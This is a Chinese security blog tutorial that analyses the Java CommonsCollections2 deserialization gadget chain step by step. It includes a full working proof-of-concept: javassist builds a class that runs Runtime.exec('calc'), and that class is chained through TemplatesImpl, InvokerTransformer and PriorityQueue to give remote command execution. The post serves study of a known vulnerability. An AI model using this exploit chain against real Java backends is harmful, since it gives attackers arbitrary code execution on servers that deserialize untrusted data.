Java反序列化4-CommonsCollections2利用链分析

0x00 前言

这个链子不同之前的链子,该链子并没有使用Chainedtransform来触发命令执行,而是利用javasist制作了一个可以命令执行的evil类,然后通过Classloder#defineClass实例化该evil类从而造成代码执行的。

环境:jdk1.8,commons-collections-4.0(3.1-3.2.1版本中TransformingComparator并没有去实现Serializable接口,也就是不可以被序列化)

后端测试环境用的springboot:

pom.xml:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4WzdcVEL-1657283379676)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220708202854214.png)]

controller:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NUGPu3Lj-1657283379676)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220708202921928.png)]

0x01 前置知识

前置知识有三个:

  • javasist (用于创建evil类的字节码)
  • ClassLoader#defineClass (用于实例化evil类)
  • TemplatesImpl(用于调用ClassLoader#defineClass)

这三块前置知识具体可以参考大佬文章:https://www.yuque.com/tianxiadamutou/zcfd4v/fw3ag3

javasist

javasist就是一个处理字节码的类库,能够动态的修改class文件中的字节码

这里我只大概说一下

package test;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;
import java.lang.reflect.Method;

public class JavasistTest {

    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();//返回默认的类池
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));//添加AbstractTranslet类到搜索路径,这样pool就可以找到这个类
        CtClass test = pool.makeClass("Evil");//创建一个名为Evil的类
        String cmd = "System.out.println(\"Hello,Javasist\");";
        test.setSuperclass(pool.get(AbstractTranslet.class.getName()));//设置这个类的父类为AbstractTranslet
        CtConstructor constructor = test.makeClassInitializer();//创建这个类的构造器
        constructor.insertBefore(cmd);//创建静态代码块,内容为cmd值
        test.writeFile("./");//将生成的类写到class文件中去
    }
}

上面相当于创建了一个如下类

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bK3kewnQ-1657283021682)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220707230312586.png)]

ClassLoader#defineClass

ClassLoader是Java的类加载器,负责将字节码转化成内存中的Java类

我们可以利用ClassLoader类的defineClass方法来加载我们的字节码,将其变为对应的Class对象

package test;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;
import java.lang.reflect.Method;

public class JavasistTest {

    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();//返回默认的类池
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));//添加AbstractTranslet类到搜索路径,这样pool就可以找到这个类
        CtClass test = pool.makeClass("Evil");//创建一个名为Evil的类
        String cmd = "System.out.println(\"Hello,Javasist\");";
        test.setSuperclass(pool.get(AbstractTranslet.class.getName()));//设置这个类的父类为AbstractTranslet
        CtConstructor constructor = test.makeClassInitializer();//创建这个类的构造器
        constructor.insertBefore(cmd);//创建静态代码块,内容为cmd值
        test.writeFile("./");//将生成的类写到class文件中去
        
        byte[] bytes = test.toBytecode(); //获取Evil类对应的字节码
        Class clas = Class.forName("java.lang.ClassLoader");//反射获取defineClass方法
        Method defineclass = clas.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        defineclass.setAccessible(true);//暴力反射
        Class claz = (Class) defineclass.invoke(ClassLoader.getSystemClassLoader(),"Evil",bytes,0,bytes.length); //将bytes转换为对应的类对象,即这里的claz为Evil类的类对象
        claz.newInstance();//实例化Evil类
    }
}

PriorityQueue

这是优先级队列

构造方法

PriorityQueue()           
    使用默认的初始容量(11)创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
PriorityQueue(int initialCapacity)
    使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。

常见方法:

add(E e)                       将指定的元素插入此优先级队列
clear()                        从此优先级队列中移除所有元素。
comparator()                   返回用来对此队列中的元素进行排序的比较器;如果此队列根据其元素的自然顺序进行排序,则返回 null
contains(Object o)          如果此队列包含指定的元素,则返回 trueiterator()                   返回在此队列中的元素上进行迭代的迭代器。
offer(E e)                   将指定的元素插入此优先级队列
peek()                       获取但不移除此队列的头;如果此队列为空,则返回 nullpoll()                       获取并移除此队列的头,如果此队列为空,则返回 nullremove(Object o)               从此队列中移除指定元素的单个实例(如果存在)。
size()                       返回此 collection 中的元素数。
toArray()                      返回一个包含此队列所有元素的数组。

重点来了,PriorityQueue类有两个成员变量需要注意以下

一个是queue,是装元素的

一个是comparator,用作元素比较器

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-U03yqIeQ-1657283021683)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220707231618673.png)]

TransformingComparator

TransformingComparator我感觉就是一个转换比较器,其compare方法会对传入的obj先进行transform转换然后再比较。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pHXvzMxK-1657283021684)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220708192824404.png)]

0x02 POC分析

先上POC

package com.test;



import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;


public class cc2 {
    public static void main(String[] args) throws Exception {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        ClassPool classPool=ClassPool.getDefault();//返回默认的类池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
        CtClass payload=classPool.makeClass("CommonsCollections22222222222");//创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet));  //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime

        byte[] bytes=payload.toBytecode();//转换为byte数组

        Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
        field.setAccessible(true);//暴力反射
        field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组

        Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
        field1.setAccessible(true);//暴力反射
        field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test

        InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
        TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象
        PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
        queue.add(1);//添加数字1插入此优先级队列
        queue.add(1);//添加数字1插入此优先级队列

        Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
        field2.setAccessible(true);//暴力反射
        field2.set(queue,comparator);//设置queue的comparator字段值为comparator

        Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
        field3.setAccessible(true);//暴力反射
        field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl

        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
        outputStream.writeObject(queue);
        outputStream.close();

        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
        inputStream.readObject();

    }
}

再附上POC结构图

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HY4XlvvE-1657283021684)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220708200102930.png)]

下面开始逆向分析,首先我们构造一个可以执行命令的恶意类

String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("Evil");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes=payload.toBytecode();

现在我们有了恶意类的字节码,我们只需要利用ClassLoader#defineClass加载这个字节码,将其变为对应的Class对象,然后利用newInstance实例化即可触发命令执行

String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("Evil");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes=payload.toBytecode();

Class clas = Class.forName("java.lang.ClassLoader");//反射获取defineClass方法
Method defineclass = clas.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineclass.setAccessible(true);//暴力反射
Class claz = (Class) defineclass.invoke(ClassLoader.getSystemClassLoader(),"Evil",bytes,0,bytes.length); //将bytes转换为对应的类对象,即这里的claz为Evil类的类对象
claz.newInstance();//实例化Evil类

成功命令执行

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lgXtYjM6-1657283021684)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220708092223333.png)]

问题一

问题1:那么问题就来了,我们如何调用ClassLoader#defineClass方法呢

这里我们要引入TemplatesImpl这个类

我们看一下这个类的defineTransletClasses方法,这个方法会将_bytecodes通过ClassLoader#defineClass转换为对应的类对象,这不就是我们想要的嘛

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QAy92Hog-1657283021685)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220708092716469.png)]

所以我们可以实例化这个TemplatesImpl类,通过反射将_bytecodes赋值为new byte[][]{bytes},这里的bytes就是恶意类字节码

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zOysU6J3-1657283021685)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220708092946190.png)]

然后因为在getTransletInstance中_name不能为null,如果为null就直接返回了,所以需要给_name随便赋一个值,这里将_name随便设置个值叫test吧

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TvfqomP5-1657283021685)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220708182408821.png)]

这样我们就实例化了一个TemplatesImpl对象

String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组

Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test

我们只需要调用这个对象的defineTransletClasses方法就可生成恶意类的类对象(然后再找一个可以newInstance的地方就能命令执行了),但是呢defineTransletClasses方法是个私有方法,没办法从外面调用

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eapz2LRr-1657283021685)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220708093553574.png)]

所以我们需要找到一个最终能调用这个方法的调用链

这里给上调用链

TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()

首先newTransformer方法调用getTransletInstance

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NBkQE3iN-1657283021686)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220708093731184.png)]

跟进,发现其调用了defineTransletClasses

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XmDe66Mm-1657283021686)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220708093749841.png)]

在defineTransletClasses中生成恶意类的类对象并赋值给_Class成员变量。然后我们可以看到刚好在getTransletInstance方法中调用了newInstance,这样就能根据恶意类的类对象实例化我们的恶意类了,从而造成恶意类中的静态代码段被执行,而静态代码段中就是命令执行代码

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4hNI1Mzu-1657283021686)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220708094159191.png)]

这时候我们就解决了问题1,我们可以通过实例化一个TemplatesImpl对象,将恶意类的字节码赋值给_bytecodes并调用其newTransformer方法即可命令执行

但是我们运行的时候报错了,提示空指针异常

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bGUIb7se-1657283021686)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220708181546890.png)]

那我们跟进到TemplatesImpl.java:401行看一下,我们发现这里有一个_tfactory变量

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cYLheyZX-1657283021687)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220708181651574.png)]

发现这个变量默认为null,我们需要给他赋一个值,这里就用new TransformerFactoryImpl()吧

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GSU315Ve-1657283021687)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220708181829910.png)]

因为这个变量是private,所以需要利用反射给其赋值

Field _tfactory = templatesImpl.getClass().getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(templatesImpl,new TransformerFactoryImpl());

整体就是

String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("Evil");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes=payload.toBytecode();

TemplatesImpl templatesImpl= (com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl) Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组

Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test

Field _tfactory = templatesImpl.getClass().getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(templatesImpl,new TransformerFactoryImpl());

templatesImpl.newTransformer();

成功命令执行

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7evVBLrU-1657283021687)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220708182523876.png)]

这样我们就解决了第一个问题,就是如何调用ClassLoader#defineClass方法并初始化恶意类

但是呢,这个还是存在利用难的问题,你比如说我们把这个templatesImpl对象序列化发送到后端,后端不仅要反序列化还需要调用templatesImpl对象的newTransformer方法。这。。。。。一般实战中后端很少有这种情况发生。

问题二

问题2:那就引入了第二个问题,我们怎么降低利用难度,也就是如何继续构造payload使得后端只需要反序列化我们的paylaod就可以触发templatesImpl的newTransformer方法以达到命令执行效果

总结一下我们现在的新问题

  • 找到一个对象,其readobject可以触发templatesImpl的newTransformer方法

这里就用到了PriorityQueue这个对象了

前面已经讲过基础知识,这里就不再赘述了

其有一个成员变量comparator

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AYVknU0C-1657283021688)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220708185142198.png)]

我们可以设置comparator为TransformingComparator并且将其transformer成员变量设置为InvokerTransformer对象,这个对象我们熟呀,其transform方法可以调用任意方法,如果能调用comparator.compare这不就达到调用templatesImpl的newTransformer方法的目的了吗

InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象
PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
queue.add(1);//添加数字1插入此优先级队列
queue.add(1);//添加数字1插入此优先级队列

Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
field2.setAccessible(true);//暴力反射
field2.set(queue,comparator);//设置queue的comparator字段值为comparator

然后我们现在的问题中心就转移到了如何调用PriorityQueue的comparator的compare方法

刚好,在PriorityQueue的readobject方法中调用了comparator的compare方法,(那我们就可以用PriorityQueue做为我们的反序列化初始点,然后其反序列化时会调用comparator的compare从而调用InvokerTransformer.transform从而反射调用templatesImpl的newTransformer方法以达到命令执行目的)下面是他的调用链

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-51sZ1E8V-1657283021688)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220708193520243.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3ooOMCtQ-1657283021688)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220708193717551.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VbJZBS9c-1657283021688)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220708193729374.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-axzyMB00-1657283021688)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220708193742592.png)]

这个时候就调用了InvokerTransformer的transform方法,其会反射调用newTransformer,但是这里别忘了我们需要指定input为之前构造好的templatesImpl才能够反射成功并命令执行

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-B0p1Aqne-1657283021689)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220708194602702.png)]

我们倒着往回推出怎么能够让这个input为我们恶意templatesImpl对象

这个input是TransformingComparator.compare的输入参数obj1

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2PHXRThp-1657283021689)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220708195014105.png)]

也就是siftDownUsingComparator的输入参数x

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xPZOWifi-1657283021689)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220708195209824.png)]

也就是siftDown的输入参数x

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tjurGB0j-1657283021689)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220708195342157.png)]

也就是PriorityQueue成员变量queue的第一个元素

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fqqT8zDk-1657283021690)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220708195417037.png)]

明白了,InvokerTransformer.transform的input参数就是PriorityQueue成员变量queue的第一个元素

Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
field3.setAccessible(true);//暴力反射
field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl

这里为啥需要将queue设置为两个templatesImpl,因为在heapify方法中如果size为1,1>>>1是0然后减1结果为-1就不会进入for循环,从而无法执行siftDown方法

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QKHJnJy9-1657283021690)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220708200938151.png)]

这下问题2就解决了,利用PriorityQueue反序列化后调用TransformingComparator.compare,从而调用InvokerTransformer.transform,从而反射调用templatesImpl.newTransformer从而导致bytes_payload被恶意加载执行。这样我们就只需要后端反序列化我们的payload就可以远程命令执行

完整POC如下:

首先利用javasist生成字节码,然后利用上面的InvokerTransformer触发TemplatesImplnewTransformer 从而读取恶意字节码从而进行执行命令

String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

ClassPool classPool=ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("CommonsCollections22222222222");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet));  //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime

byte[] bytes=payload.toBytecode();//转换为byte数组

Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组

Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test

InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象
PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
queue.add(1);//添加数字1插入此优先级队列
queue.add(1);//添加数字1插入此优先级队列

Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
field2.setAccessible(true);//暴力反射
field2.set(queue,comparator);//设置queue的comparator字段值为comparator

Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
field3.setAccessible(true);//暴力反射
field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl

ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(queue);
outputStream.close();

ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();

我们再来看这张图就好理解了

PriorityQueue反序列化后调用TransformingComparator.compare,从而调用InvokerTransformer.transform,从而反射调用templatesImpl.newTransformer从而导致bytes_payload被恶意加载执行。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZVEq9Wfp-1657283021690)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220708200106385.png)]

整个的调用链如下

ObjectInputStream.readObject()
	PriorityQueue.readObject()
  	PriorityQueue.heapify()
  		PriorityQueue.siftDown()
  			PriorityQueue.siftDownUsingComparator()
  				TransformingComparator.compare()
  					InvokerTransformer.transform()
  						Method.invoke()
  							TemplatesImpl.newTransformer()
  								TemplatesImpl.getTransletInstance()
  								TemplatesImpl.defineTransletClasses()
  									TransletClassLoader.defineClass()
  								newInstance()
  									Runtime.getRuntime().exec("calc")

成功执行命令

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7hABvqBj-1657283021690)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220708201033110.png)]

0x03 总结

通过cc2链我也学到了很多东西,这篇文章首先大概讲了一下前置知识。然后对POC进行分析,从刚开始的javasist生成字节码开始一点点分析POC是怎么形成的,期间提出了两个问题,这两个问题是理解poc的核心,我对其进行了较为详细的梳理与解答。当这两个问题搞清楚后,完整版POC也就出来了。希望这篇文章能够帮助到师傅们。

0x04 参考

https://www.anquanke.com/post/id/219840

https://www.yuque.com/tianxiadamutou/zcfd4v/fw3ag3

https://www.jianshu.com/p/43424242846b

https://www.w3cschool.cn/article/35230124.html

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值